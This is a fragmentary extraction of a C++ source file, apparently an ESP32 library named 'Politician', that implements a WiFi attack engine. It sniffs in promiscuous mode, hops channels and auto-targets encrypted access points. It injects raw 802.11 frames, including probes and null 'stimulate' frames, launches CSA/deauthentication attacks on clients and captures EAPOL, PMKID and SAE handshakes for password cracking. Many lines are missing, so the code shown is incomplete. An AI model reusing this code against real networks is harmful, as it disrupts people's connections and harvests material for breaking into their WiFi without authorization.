15const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
16const uint8_t Politician::HOP_COUNT =
sizeof(HOP_SEQ) /
sizeof(HOP_SEQ[0]);
21 149, 153, 157, 161, 165
27 if (ch >= 1 && ch <= 14)
return true;
35 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144))
return true;
42 : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
43 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
44 _m1Locked(false), _m1LockEndMs(0),
45 _probeLocked(false), _probeLockEndMs(0),
46 _customChannelCount(0),
47 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
48 _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
49 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
50 _fishSsidLen(0), _fishChannel(1),
51 _fishAuthLogged(false), _fishAssocLogged(false),
52 _csaSecondBurstSent(false),
54 _hasTarget(false), _targetChannel(1),
58 memset(&_stats, 0,
sizeof(_stats));
59 memset(_attackOverrides, 0,
sizeof(_attackOverrides));
60 memset(_injectQueue, 0,
sizeof(_injectQueue));
61 memset(_sessions, 0,
sizeof(_sessions));
62 memset(_apCache, 0,
sizeof(_apCache));
63 memset(_captured, 0,
sizeof(_captured));
64 memset(_targetBssid, 0,
sizeof(_targetBssid));
65 memset(_fishBssid, 0,
sizeof(_fishBssid));
66 memset(_fishSsid, 0,
sizeof(_fishSsid));
67 memset(_ownStaMac, 0,
sizeof(_ownStaMac));
68 memset(_ignoreList, 0,
sizeof(_ignoreList));
72void Politician::_log(
const char *fmt, ...) {
73#ifndef POLITICIAN_NO_LOGGING
77 vsnprintf(buf,
sizeof(buf), fmt, args);
94 _log(
"[Config] WARNING: hop_min_dwell_ms (%u) >= hop_max_dwell_ms (%u); clamping max to min+50ms\n",
99 _log(
"[Config] WARNING: fish_timeout_ms (%u) < 500ms; clamping to 500ms\n", _cfg.
fish_timeout_ms);
103 _log(
"[Config] WARNING: csa_wait_ms (%u) < 1000ms; clamping to 1000ms\n", _cfg.
csa_wait_ms);
107 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
108 if (esp_wifi_init(&wifi_cfg) != ESP_OK)
return ERR_WIFI_INIT;
109 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK)
return ERR_WIFI_INIT;
111 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK)
return ERR_WIFI_INIT;
113 wifi_config_t ap_cfg = {};
115 memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
116 ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
118 ap_cfg.ap.max_connection = 4;
119 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
120 ap_cfg.ap.channel = 1;
121 ap_cfg.ap.beacon_interval = 1000;
122 if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK)
return ERR_WIFI_INIT;
126 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
127 _log(
"[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
128 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
129 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
131 esp_log_level_set(
"wifi", ESP_LOG_NONE);
133 wifi_promiscuous_filter_t filt = {
134 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
136 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK)
return ERR_WIFI_INIT;
137 if (esp_wifi_set_promiscuous(
true) != ESP_OK)
return ERR_WIFI_INIT;
138 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK)
return ERR_WIFI_INIT;
139 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK)
return ERR_WIFI_INIT;
143 _lock = xSemaphoreCreateRecursiveMutex();
149 _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
154 xTaskCreatePinnedToCore(_workerTask,
"pol_worker", 4096,
this, 5, &_task, 0);
159 _log(
"[WiFi] Ready — monitor mode ch%d\n", _channel);
165 if (!_initialized)
return;
166 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
168 xSemaphoreGiveRecursive(_lock);
170 _log(
"[WiFi] Capture %s\n", active ?
"ACTIVE" :
"IDLE");
177 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
179 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
180 xSemaphoreGiveRecursive(_lock);
186 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
188 xSemaphoreGiveRecursive(_lock);
194 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
195 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
196 for (uint8_t i = 0; i < _ignoreCount; i++) {
197 memcpy(_ignoreList[i], bssids[i], 6);
199 xSemaphoreGiveRecursive(_lock);
201 _log(
"[WiFi] Ignore list updated: %d BSSIDs\n", count);
205 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
207 xSemaphoreGiveRecursive(_lock);
209 _log(
"[WiFi] Captured list cleared\n");
213 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
214 _markCaptured(bssid);
215 xSemaphoreGiveRecursive(_lock);
220 if (!_initialized)
return;
221 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
226 _channelTrafficSeen =
false;
228 xSemaphoreGiveRecursive(_lock);
234 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
236 xSemaphoreGiveRecursive(_lock);
241 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
242 if (_fishState != FISH_IDLE) {
243 esp_wifi_disconnect();
244 _fishState = FISH_IDLE;
249 _autoTargetActive =
false;
251 _probeLocked =
false;
253 xSemaphoreGiveRecursive(_lock);
255 _log(
"[WiFi] Engine stopped\n");
260 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
262 xSemaphoreGiveRecursive(_lock);
264 _log(
"[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
269 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
270 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
271 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
272 _attackOverrides[i].mask = mask;
273 xSemaphoreGiveRecursive(_lock);
277 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
278 if (!_attackOverrides[i].active) {
279 _attackOverrides[i].active =
true;
280 memcpy(_attackOverrides[i].bssid, bssid, 6);
281 _attackOverrides[i].mask = mask;
282 xSemaphoreGiveRecursive(_lock);
286 xSemaphoreGiveRecursive(_lock);
288 _log(
"[Attack] Override table full — ignoring per-BSSID mask request\n");
292 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
293 memset(_attackOverrides, 0,
sizeof(_attackOverrides));
294 xSemaphoreGiveRecursive(_lock);
298uint8_t Politician::_getAttackMask(
const uint8_t *bssid)
const {
299 for (
int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
300 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
301 return _attackOverrides[i].mask;
309 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE)
return ERR_WIFI_INIT;
311 if (_isCaptured(bssid)) {
312 xSemaphoreGiveRecursive(_lock);
316 memcpy(_targetBssid, bssid, 6);
317 _targetChannel = channel;
320 for (
int i = 0; i < MAX_AP_CACHE; i++) {
321 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
322 _apCache[i].last_probe_ms = 0;
329 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
331 _rxChannel = channel;
332 _log(
"[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
333 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
335 xSemaphoreGiveRecursive(_lock);
340 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
342 memset(_targetBssid, 0, 6);
343 xSemaphoreGiveRecursive(_lock);
345 _log(
"[WiFi] Target cleared — wardriving mode\n");
352 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE)
return ERR_WIFI_INIT;
354 if (!wait_for_channel) {
356 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
358 _rxChannel = channel;
360 esp_wifi_80211_tx(WIFI_IF_STA, (
void*)payload, len,
false);
361 _log(
"[Inject] Transmitted %d bytes on ch%d\n", (
int)len, channel);
365 _m1LockEndMs =
millis() + lock_ms;
370 for (
int i = 0; i < MAX_INJECT_QUEUE; i++) {
371 if (!_injectQueue[i].active) {
372 _injectQueue[i].active =
true;
373 _injectQueue[i].channel = channel;
374 _injectQueue[i].len = len;
375 _injectQueue[i].lock_ms = lock_ms;
376 memcpy(_injectQueue[i].payload, payload, len);
378 _log(
"[Inject] Queued %d bytes for ch%d\n", (
int)len, channel);
383 xSemaphoreGiveRecursive(_lock);
388 xSemaphoreGiveRecursive(_lock);
393 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
394 if (count == 0 || channels ==
nullptr) {
395 _customChannelCount = 0;
397 xSemaphoreGiveRecursive(_lock);
398 _log(
"[WiFi] Channel list cleared — hopping all channels\n");
401 _customChannelCount = 0;
404 _customChannels[_customChannelCount++] = channels[i];
408 xSemaphoreGiveRecursive(_lock);
410 _log(
"[WiFi] Channel list set: %d channels\n", _customChannelCount);
414 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
415 _customChannelCount = 0;
418 _customChannels[_customChannelCount++] = HOP_SEQ[i];
427 xSemaphoreGiveRecursive(_lock);
429 if (_customChannelCount == 0) {
430 _log(
"[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
432 _log(
"[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
433 _customChannelCount, (
int)ghz24, (
int)ghz5);
439 uint8_t ssid_len = (uint8_t)strlen(ssid);
441 int8_t best_rssi = INT8_MIN;
442 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
443 for (
int i = 0; i < MAX_AP_CACHE; i++) {
444 if (!_apCache[i].flags.active)
continue;
445 if (_apCache[i].ssid_len != ssid_len)
continue;
446 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
447 if (_apCache[i].rssi > best_rssi) {
448 best_rssi = _apCache[i].rssi;
452 xSemaphoreGiveRecursive(_lock);
455 return setTarget(_apCache[best].bssid, _apCache[best].channel);
459 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
460 _autoTarget = enable;
463 memset(_targetBssid, 0, 6);
464 _autoTargetActive =
false;
466 xSemaphoreGiveRecursive(_lock);
468 _log(
"[AutoTarget] %s\n", enable ?
"enabled" :
"disabled");
471void Politician::_recordClientForAp(
const uint8_t *bssid,
const uint8_t *sta, int8_t rssi) {
472 for (
int i = 0; i < MAX_AP_CACHE; i++) {
473 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
474 _apCache[i].flags.has_active_clients =
true;
475 for (
int j = 0; j < _apCache[i].known_sta_count; j++)
476 if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0)
return;
477 if (_apCache[i].known_sta_count < 4) {
478 memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
479 if (_clientFoundCb) _clientFoundCb(bssid, sta, rssi);
485void Politician::_sendProbeRequest(
const uint8_t *bssid) {
486 uint8_t frame[36];
int p = 0;
487 frame[p++] = 0x40; frame[p++] = 0x00;
488 frame[p++] = 0x00; frame[p++] = 0x00;
489 memcpy(frame + p, bssid, 6); p += 6;
490 memcpy(frame + p, _ownStaMac, 6); p += 6;
491 memcpy(frame + p, bssid, 6); p += 6;
492 frame[p++] = 0x00; frame[p++] = 0x00;
493 frame[p++] = 0x00; frame[p++] = 0x00;
494 frame[p++] = 0x01; frame[p++] = 0x08;
495 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
496 frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
497 esp_wifi_80211_tx(WIFI_IF_STA, frame, p,
false);
498 _log(
"[Probe] Directed probe to hidden AP %02X:%02X:%02X:%02X:%02X:%02X\n",
499 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
504 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE)
return;
508 static uint32_t lastDiagMs = 0;
509 uint32_t nowDiag =
millis();
510 if (nowDiag - lastDiagMs >= 30000) {
511 lastDiagMs = nowDiag;
512 _log(
"[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
513 (
unsigned long)_stats.
total, (
unsigned long)_stats.
mgmt,
514 (
unsigned long)_stats.
data, (
unsigned long)_stats.
eapol,
520 _probeLocked ?
"probe" : _m1Locked ?
"m1" :
"none");
526 uint32_t now_ap =
millis();
527 for (
int i = 0; i < MAX_AP_CACHE; i++) {
528 if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.
ap_expiry_ms)
529 _apCache[i].flags.active =
false;
533 if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
534 int best = -1;
int best_score = -9999;
535 for (
int i = 0; i < MAX_AP_CACHE; i++) {
536 if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid))
continue;
538 if (_apCache[i].enc < 2)
continue;
542 int score = _apCache[i].rssi;
543 if (_targetScoreCb) {
545 memcpy(ap_rec.
bssid, _apCache[i].bssid, 6);
546 memcpy(ap_rec.
ssid, _apCache[i].ssid, 33);
547 ap_rec.
ssid_len = _apCache[i].ssid_len;
548 ap_rec.
enc = _apCache[i].enc;
549 ap_rec.
channel = _apCache[i].channel;
550 ap_rec.
rssi = _apCache[i].rssi;
551 ap_rec.
wps_enabled = _apCache[i].flags.wps_enabled;
552 ap_rec.
pmf_capable = _apCache[i].flags.pmf_capable;
556 ap_rec.
ft_capable = _apCache[i].flags.ft_capable;
559 memcpy(ap_rec.
country, _apCache[i].country, 3);
562 ap_rec.
is_hidden = _apCache[i].flags.is_hidden;
563 ap_rec.
sta_count = _apCache[i].sta_count;
564 ap_rec.
chan_util = _apCache[i].chan_util;
569 if (score > best_score) { best_score = score; best = i; }
572 _autoTargetActive =
true;
573 setTarget(_apCache[best].bssid, _apCache[best].channel);
574 _log(
"[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
575 _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
576 _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
577 _apCache[best].ssid, _apCache[best].rssi, best_score);
582 xSemaphoreGiveRecursive(_lock);
588 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
589 _probeLocked =
false;
593 if (_m1Locked && now >= _m1LockEndMs) {
598 bool locked = _m1Locked || _probeLocked || _hasTarget;
604 }
else if (_channelTrafficSeen) {
609 if (!locked && (now - _lastHopMs >= current_dwell)) {
610 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
611 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
612 _hopIndex = (_hopIndex + 1) % count;
613 _channel = seq[_hopIndex];
614 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
616 _channelTrafficSeen =
false;
619 for (
int i = 0; i < MAX_INJECT_QUEUE; i++) {
620 if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
621 esp_wifi_80211_tx(WIFI_IF_STA, (
void*)_injectQueue[i].payload, _injectQueue[i].len,
false);
622 _log(
"[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
623 _injectQueue[i].active =
false;
624 if (_injectQueue[i].lock_ms > 0) {
626 _m1LockEndMs =
millis() + _injectQueue[i].lock_ms;
632 xSemaphoreGiveRecursive(_lock);
636void IRAM_ATTR Politician::_promiscuousCb(
void *buf, wifi_promiscuous_pkt_type_t type) {
637 if (!_instance || !_instance->_active || !_instance->_rb)
return;
639 const wifi_promiscuous_pkt_t *pkt = (
const wifi_promiscuous_pkt_t *)buf;
640 uint16_t total_len =
sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
643 if (xRingbufferSendFromISR(_instance->_rb, buf, total_len, NULL) != pdTRUE) {
648void Politician::_workerTask(
void *pvParameters) {
652 wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
655 uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
656 wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
657 if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
658 else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
660 if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
663 vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
664 uint32_t used_rb = 16384 - (uint32_t)free_rb;
665 if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
667 self->_handleFrame(pkt, type);
668 xSemaphoreGiveRecursive(self->_lock);
670 vRingbufferReturnItem(self->_rb, (
void *)pkt);
675void Politician::_handleFrame(
const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
676 if (!_active)
return;
678 uint16_t sig_len = pkt->rx_ctrl.sig_len;
679 if (sig_len <
sizeof(ieee80211_hdr_t))
return;
682 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
683 _rxChannel = pkt->rx_ctrl.channel;
684 if (_rxChannel > 0 && _rxChannel < 200) _stats.
channel_frames[_rxChannel]++;
686 const ieee80211_hdr_t *hdr = (
const ieee80211_hdr_t *)pkt->payload;
687 uint16_t fc = hdr->frame_ctrl;
700 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
701 uint8_t subtype = fsub >> 4;
702 bool is_qos = (subtype >= 8 && subtype <= 11);
708 const uint8_t *llc = pkt->payload + hdr_len;
709 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
715 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
721 uint16_t payload_off =
sizeof(ieee80211_hdr_t);
722 if (sig_len > payload_off) {
723 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
725 }
else if (type == WIFI_PKT_DATA && ftype ==
FC_TYPE_DATA) {
728 uint16_t hdr_len =
sizeof(ieee80211_hdr_t);
729 bool is_qos = (subtype >= 8 && subtype <= 11);
734 if (sig_len > hdr_len) {
735 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
742void Politician::_handleMgmt(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
743 uint16_t len, int8_t rssi) {
747 if (_probeReqCb || _fpHook) {
748 char fp_ssid[33] = {};
749 uint8_t fp_ssid_len = 0;
750 _parseSsid(payload, len, fp_ssid, fp_ssid_len);
752 ProbeRequestRecord rec;
753 memset(&rec, 0,
sizeof(rec));
754 memcpy(rec.client, hdr->addr2, 6);
755 rec.channel = _rxChannel;
757 rec.rand_mac = (rec.client[0] & 0x02) != 0;
758 memcpy(rec.ssid, fp_ssid, fp_ssid_len);
759 rec.ssid_len = fp_ssid_len;
762 if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
770 memset(&rec, 0,
sizeof(rec));
771 memcpy(rec.src, hdr->addr2, 6);
772 memcpy(rec.dst, hdr->addr1, 6);
773 memcpy(rec.bssid, hdr->addr3, 6);
774 rec.reason = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
775 rec.subtype = subtype;
776 rec.channel = _rxChannel;
778 rec.rand_mac = (rec.src[0] & 0x02) != 0;
789 _channelTrafficSeen =
true;
790 if (len < 12)
return;
792 const uint8_t *ie = payload + 12;
793 uint16_t ie_len = (len > 12) ? len - 12 : 0;
795 uint8_t beacon_ch = _rxChannel;
798 while (pos + 2 <= ie_len) {
799 uint8_t tag = ie[pos];
800 uint8_t tlen = ie[pos + 1];
801 if (pos + 2 + tlen > ie_len)
break;
802 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2];
break; }
808 memcpy(ap.bssid, hdr->addr3, 6);
809 ap.channel = beacon_ch;
811 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
812 ap.enc = _classifyEnc(ie, ie_len);
813 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1;
816 ap.wps_enabled =
false;
819 while (wp + 2 <= ie_len) {
820 uint8_t wtag = ie[wp], wlen = ie[wp + 1];
821 if (wp + 2 + wlen > ie_len)
break;
822 if (wtag == 221 && wlen >= 4 &&
823 ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
824 ap.wps_enabled =
true;
break;
830 if (ap.rssi < _cfg.
min_rssi)
return;
832 if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
835 if (_filterCb && !_filterCb(ap))
return;
837 uint8_t effMask = _getAttackMask(ap.bssid);
839 bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
840 bool pmf_capable =
false, pmf_required =
false;
841 if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
842 ap.pmf_capable = pmf_capable;
843 ap.pmf_required = pmf_required;
844 uint8_t ft_capable = (ap.enc >= 3) && _detectFt(ie, ie_len);
845 ap.ft_capable = ft_capable;
848 uint16_t sta_count = 0;
849 uint8_t chan_util = 0;
850 uint8_t venue_group = 0;
851 uint8_t venue_type = 0;
852 uint8_t network_type = 0;
855 while (pos + 2 <= ie_len) {
856 uint8_t tag = ie[pos];
857 uint8_t tlen = ie[pos + 1];
858 if (pos + 2 + tlen > ie_len)
break;
859 if (tag == 11 && tlen >= 5) {
860 sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
861 chan_util = ie[pos + 4];
862 }
else if (tag == 107 && tlen >= 1) {
863 network_type = ie[pos + 2] & 0x0F;
865 venue_group = ie[pos + 3];
866 venue_type = ie[pos + 4];
873 ap.venue_group = venue_group;
874 ap.venue_type = venue_type;
875 ap.network_type = network_type;
876 ap.captured = _isCaptured(ap.bssid);
878 ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
879 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
880 sta_count, chan_util, venue_group, venue_type, network_type);
884 uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
887 while (pos + 2 <= ie_len) {
888 uint8_t tag = ie[pos], tlen = ie[pos + 1];
889 if (pos + 2 + tlen > ie_len)
break;
890 if (tag == 1 || tag == 50) {
891 for (uint8_t ri = 0; ri < tlen; ri++) {
892 uint8_t r = (ie[pos + 2 + ri] & 0x7F);
893 if (r > maxr) maxr = r;
898 if (bint > 0) entry->beacon_interval = bint;
899 if (maxr > 0) entry->max_rate_mbps = maxr / 2;
905 while (pos + 2 <= ie_len) {
906 uint8_t tag = ie[pos], tlen = ie[pos + 1];
907 if (pos + 2 + tlen > ie_len)
break;
908 if (tag == 7 && tlen >= 2) {
909 entry->country[0] = ie[pos + 2];
910 entry->country[1] = ie[pos + 3];
911 entry->country[2] =
'\0';
920 bool threshold_ok =
true;
924 if (threshold_ok) _apFoundCb(ap);
930 entry->last_hidden_probe_ms =
millis();
931 _sendProbeRequest(ap.bssid);
935 if (ap.ssid_len > 0 && beacon_ch > 0) {
936 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0)
return;
940 for (
int i = 0; i < MAX_AP_CACHE; i++) {
941 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
942 if (!_apCache[i].flags.has_active_clients && (
millis() - _apCache[i].last_stimulate_ms > 15000)) {
943 _apCache[i].last_stimulate_ms =
millis();
947 uint8_t wake_null[24] = {
948 0x48, 0x22, 0x00, 0x00,
949 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
950 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
951 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5],
954 esp_wifi_80211_tx(WIFI_IF_STA, wake_null,
sizeof(wake_null),
false);
955 _log(
"[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
956 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
964 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
965 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
967 if (canFish && _fishState == FISH_IDLE) {
969 for (
int i = 0; i < MAX_AP_CACHE; i++) {
970 if (!_apCache[i].flags.active)
continue;
971 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0)
continue;
977 uint32_t throttle_ms = _hasTarget ? 0u
978 : _apCache[i].flags.has_active_clients ? 15000u
980 uint32_t elapsed =
millis() - _apCache[i].last_probe_ms;
981 if (elapsed >= throttle_ms) {
982 _apCache[i].last_probe_ms =
millis();
983 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
989 for (
int i = 0; i < MAX_AP_CACHE; i++) {
990 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
998 memset(_fishSta, 0, 6);
999 for (
int ci = 0; ci < MAX_AP_CACHE; ci++) {
1000 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
1001 memcpy(_fishSta, _apCache[ci].known_stas[0], 6);
break;
1004 if (!(_fishSta[0] || _fishSta[1] || _fishSta[2])) {
1005 for (
int s = 0; s < MAX_SESSIONS; s++) {
1006 if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
1007 memcpy(_fishSta, _sessions[s].sta, 6);
break;
1011 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] =
'\0';
1012 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs =
millis();
1013 _fishState = FISH_CSA_WAIT;
1014 _csaSecondBurstSent =
false;
1016 const uint8_t *known_sta = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1023 _csaFallbackMs =
millis() + 1000;
1029 _log(
"[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
1030 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
1035 _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
1037 if (len < 6)
return;
1038 uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
1039 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1040 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
1042 if (auth_alg == 0) {
1043 if (auth_seq == 2 && !_fishAuthLogged) {
1044 _fishAuthLogged =
true;
1045 _log(
"[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1046 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1047 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
1049 }
else if (auth_alg == 3) {
1052 _log(
"[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
1053 (auth_seq == 1) ?
"Commit" : (auth_seq == 2) ?
"Confirm" :
"Auth",
1054 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1055 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
1058 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1059 rec.type =
CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
